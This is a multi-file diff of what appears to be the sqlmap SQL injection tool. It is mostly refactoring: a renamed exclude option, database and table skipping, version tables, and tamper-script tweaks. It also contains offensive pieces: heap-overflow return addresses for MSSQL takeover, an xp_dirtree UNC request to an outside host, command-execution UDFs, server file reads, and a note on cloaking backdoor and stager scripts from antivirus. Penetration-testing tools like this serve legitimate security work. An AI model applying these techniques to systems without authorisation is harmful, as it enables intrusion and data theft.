result = inject.checkBooleanExpression(check) result = inject.checkBooleanExpression(check)
if result: if result:
@@ -136,14 +138,16 @@ class Fingerprint(GenericFingerprint):
# Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
# http://en.wikipedia.org/wiki/Windows_NT#Releases # http://en.wikipedia.org/wiki/Windows_NT#Releases
versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), versions = {
"2000": ("5.0", (4, 3, 2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)),
"XP": ("5.1", (3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)),
"2003": ("5.2", (2, 1)), "XP": ("5.1", (3, 2, 1)),
"Vista or 2008": ("6.0", (2, 1)), "2003": ("5.2", (2, 1)),
"7 or 2008 R2": ("6.1", (1, 0)), "Vista or 2008": ("6.0", (2, 1)),
"8 or 2012": ("6.2", (0,)), "7 or 2008 R2": ("6.1", (1, 0)),
"8.1 or 2012 R2": ("6.3", (0,)) } "8 or 2012": ("6.2", (0,)),
"8.1 or 2012 R2": ("6.3", (0,))
}
# Get back-end DBMS underlying operating system version # Get back-end DBMS underlying operating system version
for version, data in versions.items(): for version, data in versions.items():
+13 -12
View File
@@ -20,7 +20,7 @@ class Takeover(GenericTakeover):
GenericTakeover.__init__(self) GenericTakeover.__init__(self)
def uncPathRequest(self): def uncPathRequest(self):
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) # inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
def spHeapOverflow(self): def spHeapOverflow(self):
@@ -31,21 +31,22 @@ class Takeover(GenericTakeover):
""" """
returns = { returns = {
# 2003 Service Pack 0 # 2003 Service Pack 0
"2003-0": (""), "2003-0": (""),
# 2003 Service Pack 1 # 2003 Service Pack 1
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"),
# 2003 Service Pack 2 updated at 12/2008 # 2003 Service Pack 2 updated at 12/2008
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), # "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"),
# 2003 Service Pack 2 updated at 05/2009 # 2003 Service Pack 2 updated at 05/2009
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),
# 2003 Service Pack 2 updated at 09/2009
# "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
}
# 2003 Service Pack 2 updated at 09/2009
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
}
addrs = None addrs = None
for versionSp, data in returns.items(): for versionSp, data in returns.items():
+5 -5
View File
@@ -23,11 +23,11 @@ class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take
def __init__(self): def __init__(self):
self.excludeDbsList = MYSQL_SYSTEM_DBS self.excludeDbsList = MYSQL_SYSTEM_DBS
self.sysUdfs = { self.sysUdfs = {
# UDF name: UDF return data-type # UDF name: UDF return data-type
"sys_exec": { "return": "int" }, "sys_exec": {"return": "int"},
"sys_eval": { "return": "string" }, "sys_eval": {"return": "string"},
"sys_bineval": { "return": "int" } "sys_bineval": {"return": "int"}
} }
Syntax.__init__(self) Syntax.__init__(self)
Fingerprint.__init__(self) Fingerprint.__init__(self)
+4 -5
View File
@@ -68,14 +68,13 @@ class Filesystem(GenericFilesystem):
raise SqlmapNoneDataException(warnMsg) raise SqlmapNoneDataException(warnMsg)
else: else:
length = int(length) length = int(length)
sustrLen = 1024 chunkSize = 1024
if length > sustrLen: if length > chunkSize:
result = [] result = []
for i in xrange(1, length, sustrLen): for i in xrange(1, length, chunkSize):
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk) result.append(chunk)
else: else:
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
+13 -12
View File
@@ -41,18 +41,19 @@ class Fingerprint(GenericFingerprint):
# Reference: https://downloads.mysql.com/archives/community/ # Reference: https://downloads.mysql.com/archives/community/
versions = ( versions = (
(32200, 32235), # MySQL 3.22 (32200, 32235), # MySQL 3.22
(32300, 32359), # MySQL 3.23 (32300, 32359), # MySQL 3.23
(40000, 40032), # MySQL 4.0 (40000, 40032), # MySQL 4.0
(40100, 40131), # MySQL 4.1 (40100, 40131), # MySQL 4.1
(50000, 50096), # MySQL 5.0 (50000, 50096), # MySQL 5.0
(50100, 50172), # MySQL 5.1 (50100, 50172), # MySQL 5.1
(50400, 50404), # MySQL 5.4 (50400, 50404), # MySQL 5.4
(50500, 50554), # MySQL 5.5 (50500, 50558), # MySQL 5.5
(50600, 50635), # MySQL 5.6 (50600, 50638), # MySQL 5.6
(50700, 50717), # MySQL 5.7 (50700, 50720), # MySQL 5.7
(60000, 60014), # MySQL 6.0 (60000, 60014), # MySQL 6.0
) (80000, 80003), # MySQL 8.0
)
index = -1 index = -1
for i in xrange(len(versions)): for i in xrange(len(versions)):
+2 -2
View File
@@ -67,10 +67,10 @@ class Takeover(GenericTakeover):
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else: else:
#logger.debug("retrieving MySQL data directory absolute path") # logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#self.__datadir = inject.getValue("SELECT @@datadir") # self.__datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll' # NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0 # saves in @@datadir on both MySQL 4.1 and MySQL 5.0
+8 -1
View File
@@ -12,6 +12,7 @@ except:
import logging import logging
import os import os
import re
from lib.core.convert import utf8encode from lib.core.convert import utf8encode
from lib.core.data import conf from lib.core.data import conf
@@ -42,7 +43,13 @@ class Connector(GenericConnector):
try: try:
self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA)
logger.info("successfully connected as SYSDBA") logger.info("successfully connected as SYSDBA")
except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError): except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), ex:
if "Oracle Client library" in str(ex):
msg = re.sub(r"DPI-\d+:\s+", "", str(ex))
msg = re.sub(r': ("[^"]+")', r" (\g<1>)", msg)
msg = re.sub(r". See (http[^ ]+)", r'. See "\g<1>"', msg)
raise SqlmapConnectionException(msg)
try: try:
self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password)
except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg: except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg:
+6 -6
View File
@@ -23,12 +23,12 @@ class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous,
def __init__(self): def __init__(self):
self.excludeDbsList = PGSQL_SYSTEM_DBS self.excludeDbsList = PGSQL_SYSTEM_DBS
self.sysUdfs = { self.sysUdfs = {
# UDF name: UDF parameters' input data-type and return data-type # UDF name: UDF parameters' input data-type and return data-type
"sys_exec": { "input": ["text"], "return": "int4" }, "sys_exec": {"input": ["text"], "return": "int4"},
"sys_eval": { "input": ["text"], "return": "text" }, "sys_eval": {"input": ["text"], "return": "text"},
"sys_bineval": { "input": ["text"], "return": "int4" }, "sys_bineval": {"input": ["text"], "return": "int4"},
"sys_fileread": { "input": ["text"], "return": "text" } "sys_fileread": {"input": ["text"], "return": "text"}
} }
Syntax.__init__(self) Syntax.__init__(self)
Fingerprint.__init__(self) Fingerprint.__init__(self)
+1 -1
View File
@@ -22,6 +22,6 @@ class Syntax(GenericSyntax):
""" """
def escaper(value): def escaper(value):
return "(%s)" % "||".join("CHR(%d)" % ord(_) for _ in value) # Postgres CHR() function already accepts Unicode code point of character(s) return "(%s)" % "||".join("CHR(%d)" % ord(_) for _ in value) # Postgres CHR() function already accepts Unicode code point of character(s)
return Syntax._escape(expression, quote, escaper) return Syntax._escape(expression, quote, escaper)
+3 -3
View File
@@ -176,7 +176,7 @@ class Enumeration(GenericEnumeration):
conf.db = self.getCurrentDb() conf.db = self.getCurrentDb()
elif conf.db is not None: elif conf.db is not None:
if ',' in conf.db: if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating " errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns" errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
@@ -188,8 +188,8 @@ class Enumeration(GenericEnumeration):
else: else:
colList = [] colList = []
if conf.excludeCol: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
for col in colList: for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
+11 -11
View File
@@ -23,6 +23,7 @@ from lib.core.common import pushValue
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming
@@ -298,7 +299,11 @@ class Databases:
if conf.excludeSysDbs and db in self.excludeDbsList: if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg) logger.info(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db)
singleTimeLogMessage(infoMsg)
continue continue
infoMsg = "fetching number of tables for " infoMsg = "fetching number of tables for "
@@ -395,7 +400,7 @@ class Databases:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.db = conf.db.upper() conf.db = conf.db.upper()
if ',' in conf.db: if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating " errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns" errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
@@ -410,8 +415,8 @@ class Databases:
else: else:
colList = [] colList = []
if conf.excludeCol: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
for col in colList: for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
@@ -658,8 +663,7 @@ class Databases:
query += condQuery query += condQuery
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \ query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db) query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD): elif Backend.isDbms(DBMS.FIREBIRD):
@@ -758,8 +762,7 @@ class Databases:
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD): elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column)
elif Backend.isDbms(DBMS.INFORMIX): elif Backend.isDbms(DBMS.INFORMIX):
@@ -818,10 +821,7 @@ class Databases:
self.getTables() self.getTables()
infoMsg = "fetched tables: " infoMsg = "fetched tables: "
infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()])
Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
kb.data.cachedTables.items()])
logger.info(infoMsg) logger.info(infoMsg)
for db, tables in kb.data.cachedTables.items(): for db, tables in kb.data.cachedTables.items():
+25 -6
View File
@@ -22,6 +22,7 @@ from lib.core.common import isTechniqueAvailable
from lib.core.common import prioritySortColumns from lib.core.common import prioritySortColumns
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import singleTimeLogMessage
from lib.core.common import unArrayizeValue from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.data import conf from lib.core.data import conf
@@ -68,11 +69,16 @@ class Entries:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.db = conf.db.upper() conf.db = conf.db.upper()
if ',' in conf.db: if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating " errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns" errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.exclude and conf.db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
singleTimeLogMessage(infoMsg)
return
conf.db = safeSQLIdentificatorNaming(conf.db) conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.tbl: if conf.tbl:
@@ -99,6 +105,14 @@ class Entries:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
for tbl in tblList: for tbl in tblList:
if kb.dumpKeyboardInterrupt:
break
if conf.exclude and tbl in conf.exclude.split(','):
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
singleTimeLogMessage(infoMsg)
continue
conf.tbl = tbl conf.tbl = tbl
kb.data.dumpedTable = {} kb.data.dumpedTable = {}
@@ -129,8 +143,8 @@ class Entries:
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
colList = sorted(filter(None, columns.keys())) colList = sorted(filter(None, columns.keys()))
if conf.excludeCol: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
if not colList: if not colList:
warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
@@ -459,12 +473,17 @@ class Entries:
if kb.data.cachedTables: if kb.data.cachedTables:
if isinstance(kb.data.cachedTables, list): if isinstance(kb.data.cachedTables, list):
kb.data.cachedTables = { None: kb.data.cachedTables } kb.data.cachedTables = {None: kb.data.cachedTables}
for db, tables in kb.data.cachedTables.items(): for db, tables in kb.data.cachedTables.items():
conf.db = db conf.db = db
for table in tables: for table in tables:
if conf.exclude and table in conf.exclude.split(','):
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
logger.info(infoMsg)
continue
try: try:
conf.tbl = table conf.tbl = table
kb.data.cachedColumns = {} kb.data.cachedColumns = {}
@@ -530,8 +549,8 @@ class Entries:
conf.tbl = table conf.tbl = table
colList = filter(None, sorted(columns)) colList = filter(None, sorted(columns))
if conf.excludeCol: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
conf.col = ','.join(colList) conf.col = ','.join(colList)
kb.data.cachedColumns = {} kb.data.cachedColumns = {}
+1 -1
View File
@@ -49,7 +49,7 @@ class Filesystem:
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)); inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField))
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
+2 -2
View File
@@ -371,8 +371,8 @@ class Search:
infoMsgDb = "" infoMsgDb = ""
colList = conf.col.split(',') colList = conf.col.split(',')
if conf.excludeCol: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
origTbl = conf.tbl origTbl = conf.tbl
origDb = conf.db origDb = conf.db
+2 -2
View File
@@ -1,7 +1,7 @@
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility. Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
To prepare the original scripts to the cloaked form use this command: To prepare the original scripts to the cloaked form use this command:
find backdoor.* stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
To get back them into the original form use this: To get back them into the original form use this:
find backdoor.*_ stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+2 -2
View File
@@ -494,8 +494,8 @@ tbl =
# Back-end database management system database table column(s) to enumerate. # Back-end database management system database table column(s) to enumerate.
col = col =
# Back-end database management system database table column(s) to not enumerate. # Back-end database management system identifiers (database(s), table(s) and column(s)) to not enumerate.
excludeCol = exclude =
# Pivot column name. # Pivot column name.
pivotColumn = pivotColumn =
+12 -1
View File
@@ -297,7 +297,15 @@ def main():
logger.error(errMsg) logger.error(errMsg)
raise SystemExit raise SystemExit
elif "valueStack.pop" in excMsg and kb.get("dumpKeyboardInterrupt"): elif "url = url.strip()" in excMsg:
dataToStdout(excMsg)
print
errMsg = "please contact '[email protected]' with details for this issue "
errMsg += "as he is trying to reproduce it for long time"
logger.error(errMsg)
raise SystemExit
elif kb.get("dumpKeyboardInterrupt"):
raise SystemExit raise SystemExit
elif any(_ in excMsg for _ in ("Broken pipe",)): elif any(_ in excMsg for _ in ("Broken pipe",)):
@@ -381,3 +389,6 @@ def main():
if __name__ == "__main__": if __name__ == "__main__":
main() main()
else:
# cancelling postponed imports (because of Travis CI checks)
from lib.controller.controller import start
+5 -1
View File
@@ -5,12 +5,16 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST __priority__ = PRIORITY.LOWEST
def dependencies(): def dependencies():
pass singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
+1 -1
View File
@@ -10,7 +10,7 @@ import base64
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOWEST __priority__ = PRIORITY.LOW
def dependencies(): def dependencies():
pass pass
-1
View File
@@ -55,5 +55,4 @@ def tamper(payload, **kwargs):
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
retVal = retVal.replace(match.group(0), _) retVal = retVal.replace(match.group(0), _)
return retVal return retVal
+1 -1
View File
@@ -18,7 +18,7 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces space character after SQL statement with a valid random blank character. Replaces space character after SQL statement with a valid random blank character.
Afterwards replace character = with LIKE operator Afterwards replace character '=' with operator LIKE
Requirement: Requirement:
* Blue Coat SGOS with WAF activated as documented in * Blue Coat SGOS with WAF activated as documented in
+1 -1
View File
@@ -9,7 +9,7 @@ import string
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST __priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
+4 -1
View File
@@ -5,14 +5,17 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import os
import re import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
